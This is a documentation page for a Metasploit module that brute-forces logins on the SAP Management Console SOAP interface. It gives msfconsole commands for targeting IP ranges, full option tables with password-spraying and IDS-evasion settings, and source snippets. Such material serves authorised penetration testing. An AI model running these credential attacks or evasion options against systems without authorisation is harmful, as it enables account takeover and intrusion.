SAP Management Console Brute Force - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/sap/sap_mgmt_con_brute_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SAP Management Console Brute Force
Module: auxiliary/scanner/sap/sap_mgmt_con_brute_login
Source code: modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
Disclosure date: -
Last modification time: 2019-11-05 21:45:05 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 50013
List of CVEs: -

This module simply attempts to brute force the username and password for the SAP Management Console SOAP Interface. If the SAP_SID value is set it will replace instances of <SAPSID> in any user/pass from any wordlist.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/sap/sap_mgmt_con_brute_login
msf auxiliary(sap_mgmt_con_brute_login) > show options
    ... show and set options ...
msf auxiliary(sap_mgmt_con_brute_login) > set RHOSTS ip-range
msf auxiliary(sap_mgmt_con_brute_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(sap_mgmt_con_brute_login) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(sap_mgmt_con_brute_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(sap_mgmt_con_brute_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/sap/sap_mgmt_con_brute_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/sap/sap_mgmt_con_brute_login

msf6 auxiliary(scanner/sap/sap_mgmt_con_brute_login) > show info

       Name: SAP Management Console Brute Force
     Module: auxiliary/scanner/sap/sap_mgmt_con_brute_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Chris John Riley

Check supported:
  No

Basic options:
  Name              Current Setting                                                             Required  Description
  ----              ---------------                                                             --------  -----------
  BLANK_PASSWORDS   false                                                                       no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                           yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                                       no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                       no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                       no        Add all users in the current database to the list
  PASSWORD                                                                                      no        A specific password to authenticate with
  PASS_FILE                                                                                     no        File containing passwords, one per line
  Proxies                                                                                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             50013                                                                       yes       The target port (TCP)
  SAP_SID                                                                                       no        Input SAP SID to attempt brute-forcing standard SAP accounts
  SSL               false                                                                       no        Negotiate SSL/TLS for outgoing connections
  STOP_ON_SUCCESS   false                                                                       yes       Stop guessing when a credential works for a host
  TARGETURI         /                                                                           no        Path to the SAP Management Console
  THREADS           1                                                                           yes       The number of concurrent threads (max one per host)
  USERNAME                                                                                      no        A specific username to authenticate as
  USERPASS_FILE                                                                                 no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                                       no        Try the username as the password for all users
  USER_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/sap_common.txt  no        File containing users, one per line
  VERBOSE           true                                                                        yes       Whether to print output for all attempts
  VHOST                                                                                         no        HTTP server virtual host

Description:
  This module simply attempts to brute force the username and password 
  for the SAP Management Console SOAP Interface. If the SAP_SID value 
  is set it will replace instances of <SAPSID> in any user/pass from 
  any wordlist.

References:
  http://blog.c22.cc

Module Options


This is a complete list of options available in the scanner/sap/sap_mgmt_con_brute_login auxiliary module:

msf6 auxiliary(scanner/sap/sap_mgmt_con_brute_login) > show options

Module options (auxiliary/scanner/sap/sap_mgmt_con_brute_login):

   Name              Current Setting                                                             Required  Description
   ----              ---------------                                                             --------  -----------
   BLANK_PASSWORDS   false                                                                       no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                           yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                       no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                       no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                       no        Add all users in the current database to the list
   PASSWORD                                                                                      no        A specific password to authenticate with
   PASS_FILE                                                                                     no        File containing passwords, one per line
   Proxies                                                                                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             50013                                                                       yes       The target port (TCP)
   SAP_SID                                                                                       no        Input SAP SID to attempt brute-forcing standard SAP accounts
   SSL               false                                                                       no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                                                       yes       Stop guessing when a credential works for a host
   TARGETURI         /                                                                           no        Path to the SAP Management Console
   THREADS           1                                                                           yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                      no        A specific username to authenticate as
   USERPASS_FILE                                                                                 no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                       no        Try the username as the password for all users
   USER_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/sap_common.txt  no        File containing users, one per line
   VERBOSE           true                                                                        yes       Whether to print output for all attempts
   VHOST                                                                                         no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/sap/sap_mgmt_con_brute_login auxiliary module:

msf6 auxiliary(scanner/sap/sap_mgmt_con_brute_login) > show advanced

Module advanced options (auxiliary/scanner/sap/sap_mgmt_con_brute_login):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   MaxGuessesPerService  0                                                   no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                                                   no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
                                                                                        is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
                                                                                       d.
   MaxMinutesPerService  0                                                   no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   PASSWORD_SPRAY        false                                               yes       Reverse the credential pairing order. For each password, attempt every possible user.
   REMOVE_PASS_FILE      false                                               yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false                                               yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false                                               yes       Automatically delete the USER_FILE on module completion
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                                                   no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/sap/sap_mgmt_con_brute_login module can do:

msf6 auxiliary(scanner/sap/sap_mgmt_con_brute_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/sap/sap_mgmt_con_brute_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/sap/sap_mgmt_con_brute_login) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> [SAP] Unable to connect


Here is a relevant code snippet related to the "<PEER> [SAP] Unable to connect" error message:

46:	      'uri'     => uri,
47:	      'method'  => 'GET'
48:	    })
49:	
50:	    if not res
51:	      print_error("#{peer} [SAP] Unable to connect")
52:	      return
53:	    end
54:	
55:	    print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
56:	

<PEER> [SAP] Unable to connect


Here is a relevant code snippet related to the "<PEER> [SAP] Unable to connect" error message:

150:	          end
151:	        end
152:	      end
153:	
154:	    rescue ::Rex::ConnectionError
155:	      print_error("#{peer} [SAP] Unable to connect")
156:	      return
157:	    end
158:	
159:	    if success
160:	      print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")

<PEER> [SAP] Login '<USER>' NOT authorized to perform OSExecute calls


Here is a relevant code snippet related to the "<PEER> [SAP] Login '<USER>' NOT authorized to perform OSExecute calls" error message:

160:	      print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
161:	
162:	      if permission
163:	        vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
164:	      else
165:	        vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
166:	      end
167:	
168:	      report_cred(
169:	        ip: rhost,
170:	        port: rport,

<PEER> [SAP] failed to login as '<USER>':'<PASS>'


Here is a relevant code snippet related to the "<PEER> [SAP] failed to login as '<USER>':'<PASS>'" error message:

171:	        user: user,
172:	        password: pass,
173:	        service_name: 'sap-managementconsole',
174:	        proof: res.body
175:	      )
176:	    else
177:	      vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
178:	    end
179:	  end
180:	end
181:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Chris John Riley

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.